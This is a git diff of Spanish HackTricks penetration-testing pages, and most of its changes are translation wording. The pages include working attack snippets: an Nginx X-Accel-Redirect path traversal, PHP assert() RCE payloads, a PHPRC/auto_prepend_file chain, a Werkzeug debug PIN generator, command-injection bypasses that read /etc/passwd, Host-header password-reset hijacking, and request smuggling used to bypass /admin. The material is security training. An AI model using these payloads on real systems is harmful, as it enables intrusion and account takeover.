Como se muestra en [**este informe**](https://mizu.re/post/cors-playground), hay ciertos encabezados que, si están presentes en la respuesta del servidor web, cambiarán el comportamiento del proxy de Nginx. Puedes consultarlos [**en la documentación**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
Como se muestra en [**este informe**](https://mizu.re/post/cors-playground), hay ciertos encabezados que, si están presentes en la respuesta del servidor web, cambiarán el comportamiento del proxy de Nginx. Puedes revisarlos [**en la documentación**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
* `X-Accel-Redirect`: Indica a Nginx que redirija internamente una solicitud a una ubicación especificada.
* `X-Accel-Buffering`: Controla si Nginx debe almacenar en búfer la respuesta o no.
@ -197,7 +197,7 @@ Como se muestra en [**este informe**](https://mizu.re/post/cors-playground), hay
* `X-Accel-Expires`: Establece el tiempo de expiración para la respuesta al usar X-Accel-Redirect.
* `X-Accel-Limit-Rate`: Limita la tasa de transferencia para las respuestas al usar X-Accel-Redirect.
Por ejemplo, el encabezado **`X-Accel-Redirect`** causará una **redirección** interna en Nginx. Así que tener una configuración de nginx con algo como **`root /`** y una respuesta del servidor web con **`X-Accel-Redirect: .env`** hará que Nginx envíe el contenido de **`/.env`** (Path Traversal).
Por ejemplo, el encabezado **`X-Accel-Redirect`** causará una **redirección** interna en Nginx. Así que tener una configuración de Nginx con algo como **`root /`** y una respuesta del servidor web con **`X-Accel-Redirect: .env`** hará que Nginx envíe el contenido de **`/.env`** (Path Traversal).
### **Valor Predeterminado en la Directiva Map**
@ -222,9 +222,9 @@ return 200 "Hello. It is private area: $mappocallow";
```
Sin un `default`, un **usuario malicioso** puede eludir la seguridad accediendo a un **URI indefinido** dentro de `/map-poc`. [El manual de Nginx](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) aconseja establecer un **valor predeterminado** para evitar tales problemas.
### **Vulnerabilidad de Suplantación de DNS**
### **Vulnerabilidad de Spoofing de DNS**
La suplantación de DNS contra Nginx es factible bajo ciertas condiciones. Si un atacante conoce el **servidor DNS** utilizado por Nginx y puede interceptar sus consultas DNS, puede suplantar registros DNS. Sin embargo, este método es ineficaz si Nginx está configurado para usar **localhost (127.0.0.1)** para la resolución DNS. Nginx permite especificar un servidor DNS de la siguiente manera:
El spoofing de DNS contra Nginx es factible bajo ciertas condiciones. Si un atacante conoce el **servidor DNS** utilizado por Nginx y puede interceptar sus consultas DNS, puede falsificar registros DNS. Sin embargo, este método es ineficaz si Nginx está configurado para usar **localhost (127.0.0.1)** para la resolución de DNS. Nginx permite especificar un servidor DNS de la siguiente manera:
```yaml
resolver 8.8.8.8;
```
@ -264,9 +264,9 @@ deny all;
Nota que incluso si el `proxy_pass` estaba apuntando a una **ruta** específica como `http://backend:9999/socket.io`, la conexión se establecerá con `http://backend:9999`, por lo que puedes **contactar cualquier otra ruta dentro de ese endpoint interno. Así que no importa si se especifica una ruta en la URL de proxy_pass.**
{% endhint %}
## Pruébalo tú mismo
## Inténtalo tú mismo
Detectify ha creado un repositorio en GitHub donde puedes usar Docker para configurar tu propio servidor de prueba Nginx vulnerable con algunas de las configuraciones incorrectas discutidas en este artículo y ¡intentar encontrarlas tú mismo!
Detectify ha creado un repositorio de GitHub donde puedes usar Docker para configurar tu propio servidor de prueba Nginx vulnerable con algunas de las configuraciones incorrectas discutidas en este artículo y ¡intentar encontrarlas tú mismo!
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
@ -288,9 +288,9 @@ Nginxpwner es una herramienta simple para buscar configuraciones incorrectas y v
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -1,25 +1,25 @@
# PHP Tricks
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
<summary>Support HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -52,10 +52,10 @@ Tablas de comparación de PHP: [https://www.php.net/manual/en/types.comparisons.
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` Una cadena que no comienza con un número es igual a un número
* `"0xAAAA" == "43690" -> True` Cadenas compuestas por números en formato decimal o hexadecimal pueden compararse con otros números/cadenas con True como resultado si los números son los mismos (los números en una cadena se interpretan como números)
* `"0xAAAA" == "43690" -> True` Cadenas compuestas por números en formato dec o hex pueden compararse con otros números/cadenas con True como resultado si los números son los mismos (los números en una cadena se interpretan como números)
* `"0e3264578" == 0 --> True` Una cadena que comienza con "0e" y seguida de cualquier cosa será igual a 0
* `"0X3264578" == 0X --> True` Una cadena que comienza con "0" y seguida de cualquier letra (X puede ser cualquier letra) y seguida de cualquier cosa será igual a 0
* `"0e12334" == "0" --> True` Esto es muy interesante porque en algunos casos puedes controlar la entrada de cadena de "0" y algún contenido que se está hasheando y comparando con ella. Por lo tanto, si puedes proporcionar un valor que cree un hash que comience con "0e" y sin ninguna letra, podrías eludir la comparación. Puedes encontrar **cadenas ya hasheadas** con este formato aquí: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"0e12334" == "0" --> True` Esto es muy interesante porque en algunos casos puedes controlar la entrada de cadena de "0" y algún contenido que se está hasheando y comparando con ello. Por lo tanto, si puedes proporcionar un valor que cree un hash que comience con "0e" y sin ninguna letra, podrías eludir la comparación. Puedes encontrar **cadenas ya hasheadas** con este formato aquí: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Cualquier letra en una cadena es igual a int 0
Más info en [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -83,7 +83,7 @@ El mismo error ocurre con `strcasecmp()`
### Manipulación estricta de tipos
Incluso si `===` **se está utilizando**, podría haber errores que hacen que la **comparación sea vulnerable** a **la manipulación de tipos**. Por ejemplo, si la comparación **está convirtiendo los datos a un tipo diferente de objeto antes de comparar**:
Incluso si `===` **se está utilizando**, podría haber errores que hacen que la **comparación sea vulnerable** a **la manipulación de tipos**. Por ejemplo, si la comparación **convierte los datos a un tipo diferente de objeto antes de comparar**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -195,7 +195,7 @@ True
Desde [**este hilo de twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) puedes ver que al enviar más de 1000 parámetros GET o 1000 parámetros POST o 20 archivos, PHP no va a establecer encabezados en la respuesta.
Permitiendo el bypass, por ejemplo, de encabezados CSP que se establecen en códigos como:
Permitiendo el bypass, por ejemplo, de los encabezados CSP que se establecen en códigos como:
```php
<?php
header("Content-Security-Policy: default-src 'none';");
@ -242,7 +242,7 @@ Esta opción de preg\_replace ha sido **desaprobada a partir de PHP 5.5.0.**
```
### **RCE a través de Assert()**
Esta función dentro de php te permite **ejecutar código que está escrito en una cadena** para **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Normalmente, la variable del usuario se insertará en medio de una cadena. Por ejemplo:\
Esta función dentro de php permite **ejecutar código que está escrito en una cadena** para **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Por lo general, la variable del usuario se insertará en medio de una cadena. Por ejemplo:\
`assert("strpos($_GET['page']),'..') === false")` --> En este caso, para obtener **RCE** podrías hacer:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
@ -282,7 +282,7 @@ Para descubrir el número de paréntesis que necesitas cerrar:
* `?order=id;}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ';'`). Probablemente nos falte uno o más corchetes.
* `?order=id);}//`: obtenemos una **advertencia**. Eso parece correcto.
* `?order=id));}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ')' i`). Probablemente tenemos demasiados corchetes de cierre.
* `?order=id));}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ')' i`). Probablemente tengamos demasiados corchetes de cierre.
### **RCE a través de .httaccess**
@ -294,11 +294,11 @@ Se pueden encontrar diferentes shells .htaccess [aquí](https://github.com/wireg
Si encuentras una vulnerabilidad que te permite **modificar variables de entorno en PHP** (y otra para subir archivos, aunque con más investigación tal vez esto se pueda eludir), podrías abusar de este comportamiento para obtener **RCE**.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso puede que no funcione).
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso podría no funcionar).
* **`PHPRC`** : Instruye a PHP sobre **dónde localizar su archivo de configuración**, generalmente llamado `php.ini`. Si puedes subir tu propio archivo de configuración, entonces, usa `PHPRC` para señalar a PHP hacia él. Agrega una entrada de **`auto_prepend_file`** especificando un segundo archivo subido. Este segundo archivo contiene código **PHP normal, que luego es ejecutado** por el runtime de PHP antes de cualquier otro código.
1. Sube un archivo PHP que contenga nuestro shellcode
2. Sube un segundo archivo, que contenga una directiva de **`auto_prepend_file`** instruyendo al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1
3. Establece la variable `PHPRC` al archivo que subimos en el paso 2.
2. Sube un segundo archivo, que contenga una directiva de **`auto_prepend_file`** instruyendo al preprocesador de PHP a ejecutar el archivo que subiste en el paso 1
3. Establece la variable `PHPRC` al archivo que subiste en el paso 2.
* Obtén más información sobre cómo ejecutar esta cadena [**del informe original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - otra opción
* Si **no puedes subir archivos**, podrías usar en FreeBSD el "archivo" `/dev/fd/0` que contiene el **`stdin`**, siendo el **cuerpo** de la solicitud enviada al `stdin`:
@ -470,7 +470,7 @@ $___($_[_]); // ASSERT($_POST[_]);
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -17,9 +17,9 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -33,7 +33,7 @@ __import__('os').popen('whoami').read();
También hay varios exploits en internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) o uno en metasploit.
## Protegido por PIN - Traversal de Ruta
## Protección por PIN - Traversal de Ruta
En algunas ocasiones, el endpoint **`/console`** estará protegido por un pin. Si tienes una **vulnerabilidad de traversal de archivos**, puedes filtrar toda la información necesaria para generar ese pin.
@ -159,7 +159,7 @@ rv = num
print(rv)
```
Este script produce el PIN al hashear los bits concatenados, agregar sales específicas (`cookiesalt` y `pinsalt`), y formatear la salida. Es importante notar que los valores reales para `probably_public_bits` y `private_bits` deben obtenerse con precisión del sistema objetivo para asegurar que el PIN generado coincida con el que espera la consola de Werkzeug.
Este script produce el PIN al hashear los bits concatenados, agregar sales específicas (`cookiesalt` y `pinsalt`), y formatear la salida. Es importante notar que los valores reales para `probably_public_bits` y `private_bits` deben ser obtenidos con precisión del sistema objetivo para asegurar que el PIN generado coincida con el que espera la consola de Werkzeug.
{% hint style="success" %}
Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritmo de hash a md5** en lugar de sha1.
@ -169,7 +169,7 @@ Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritm
Como se observó en [**este problema**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug no cierra una solicitud con caracteres Unicode en los encabezados. Y como se explicó en [**este informe**](https://mizu.re/post/twisty-python), esto podría causar una vulnerabilidad de CL.0 Request Smuggling.
Esto se debe a que, en Werkzeug es posible enviar algunos **caracteres Unicode** y hará que el servidor **se rompa**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no será leído y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud será tratado como la **siguiente solicitud HTTP**.
Esto se debe a que, en Werkzeug es posible enviar algunos caracteres **Unicode** y hará que el servidor **se rompa**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no será leído y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud será tratado como la **siguiente solicitud HTTP**.
## Explotación Automatizada
@ -184,9 +184,9 @@ Esto se debe a que, en Werkzeug es posible enviar algunos **caracteres Unicode**
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios, y utiliza exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios, y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,15 +17,15 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### Cabecera Host
### Encabezado Host
Varias veces el back-end confía en la **cabecera Host** para realizar algunas acciones. Por ejemplo, podría usar su valor como el **dominio para enviar un restablecimiento de contraseña**. Así que cuando recibes un correo electrónico con un enlace para restablecer tu contraseña, el dominio que se está utilizando es el que pusiste en la cabecera Host. Luego, puedes solicitar el restablecimiento de contraseña de otros usuarios y cambiar el dominio a uno controlado por ti para robar sus códigos de restablecimiento de contraseña. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
Varias veces el back-end confía en el **encabezado Host** para realizar algunas acciones. Por ejemplo, podría usar su valor como el **dominio para enviar un restablecimiento de contraseña**. Así que cuando recibes un correo electrónico con un enlace para restablecer tu contraseña, el dominio que se utiliza es el que pusiste en el encabezado Host. Luego, puedes solicitar el restablecimiento de contraseña de otros usuarios y cambiar el dominio a uno controlado por ti para robar sus códigos de restablecimiento de contraseña. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
{% hint style="warning" %}
Ten en cuenta que es posible que ni siquiera necesites esperar a que el usuario haga clic en el enlace de restablecimiento de contraseña para obtener el token, ya que incluso **los filtros de spam u otros dispositivos/bots intermedios pueden hacer clic en él para analizarlo**.
@ -33,7 +33,7 @@ Ten en cuenta que es posible que ni siquiera necesites esperar a que el usuario
### Booleanos de sesión
A veces, cuando completas correctamente alguna verificación, el back-end **simplemente agrega un booleano con el valor "True" a un atributo de seguridad de tu sesión**. Luego, un endpoint diferente sabrá si pasaste esa verificación con éxito.\
A veces, cuando completas correctamente alguna verificación, el back-end **simplemente agrega un booleano con el valor "True" a un atributo de seguridad de tu sesión**. Luego, un endpoint diferente sabrá si pasaste esa verificación con éxito.\
Sin embargo, si **pasas la verificación** y tu sesión recibe ese valor "True" en el atributo de seguridad, puedes intentar **acceder a otros recursos** que **dependen del mismo atributo** pero a los que **no deberías tener permisos** para acceder. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### Funcionalidad de registro
@ -57,9 +57,9 @@ Los desarrolladores pueden olvidar deshabilitar varias opciones de depuración e
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,7 +17,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -50,7 +50,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Bypasses de Limitación**
### **Limitaciones** Bypasses
Si estás tratando de ejecutar **comandos arbitrarios dentro de una máquina linux** te interesará leer sobre estos **Bypasses:**
@ -164,7 +164,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -74,7 +74,7 @@ print('[x] Something went wrong, please try again')
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -10,14 +10,14 @@ Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
* **Comparte trucos de hacking enviando PRs a los** [**repositorios de HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -125,11 +125,11 @@ x=
#### Vulnerabilidad TE.TE (Transfer-Encoding usado por ambos, con ofuscación)
* **Servidores:** Ambos soportan `Transfer-Encoding`, pero uno puede ser engañado para ignorarlo a través de la ofuscación.
* **Servidores:** Ambos soportan `Transfer-Encoding`, pero uno puede ser engañado para ignorarlo a través de ofuscación.
* **Escenario de Ataque:**
* El atacante envía una solicitud con encabezados `Transfer-Encoding` ofuscados.
* Dependiendo de qué servidor (front-end o back-end) no reconozca la ofuscación, se puede explotar una vulnerabilidad CL.TE o TE.CL.
* La parte no procesada de la solicitud, como la ve uno de los servidores, se convierte en parte de una solicitud subsiguiente, llevando al smuggling.
* La parte no procesada de la solicitud, tal como la ve uno de los servidores, se convierte en parte de una solicitud subsiguiente, llevando al smuggling.
* **Ejemplo:**
```
@ -205,7 +205,7 @@ EMPTY_LINE_HERE
Esta técnica también es útil en escenarios donde es posible **romper un servidor web mientras se lee los datos HTTP iniciales** pero **sin cerrar la conexión**. De esta manera, el **cuerpo** de la solicitud HTTP será considerado la **siguiente solicitud HTTP**.
Por ejemplo, como se explica en [**este artículo**](https://mizu.re/post/twisty-python), en Werkzeug era posible enviar algunos caracteres **Unicode** y esto hará que el servidor **se rompa**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no será leído y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud será tratado como la **siguiente solicitud HTTP**.
Por ejemplo, como se explica en [**este artículo**](https://mizu.re/post/twisty-python), en Werkzeug era posible enviar algunos **caracteres Unicode** y esto haría que el servidor **se rompiera**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no será leído y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud será tratado como la **siguiente solicitud HTTP**.
#### Forzando a través de encabezados hop-by-hop
@ -298,7 +298,7 @@ Al probar vulnerabilidades de request smuggling interfiriendo con otras solicitu
A veces, los proxies de front-end imponen medidas de seguridad, examinando las solicitudes entrantes. Sin embargo, estas medidas pueden ser eludidas al explotar HTTP Request Smuggling, permitiendo el acceso no autorizado a puntos finales restringidos. Por ejemplo, acceder a `/admin` podría estar prohibido externamente, con el proxy de front-end bloqueando activamente tales intentos. No obstante, este proxy puede descuidar inspeccionar las solicitudes incrustadas dentro de una solicitud HTTP contrabandeada, dejando un vacío para eludir estas restricciones.
Considera los siguientes ejemplos que ilustran cómo HTTP Request Smuggling puede ser utilizado para eludir los controles de seguridad del front-end, específicamente apuntando a la ruta `/admin` que generalmente está protegida por el proxy de front-end:
Considera los siguientes ejemplos que ilustran cómo HTTP Request Smuggling puede ser utilizado para eludir los controles de seguridad del front-end, específicamente apuntando a la ruta `/admin` que típicamente está protegida por el proxy de front-end:
**Ejemplo CL.TE**
```
@ -335,7 +335,7 @@ a=x
0
```
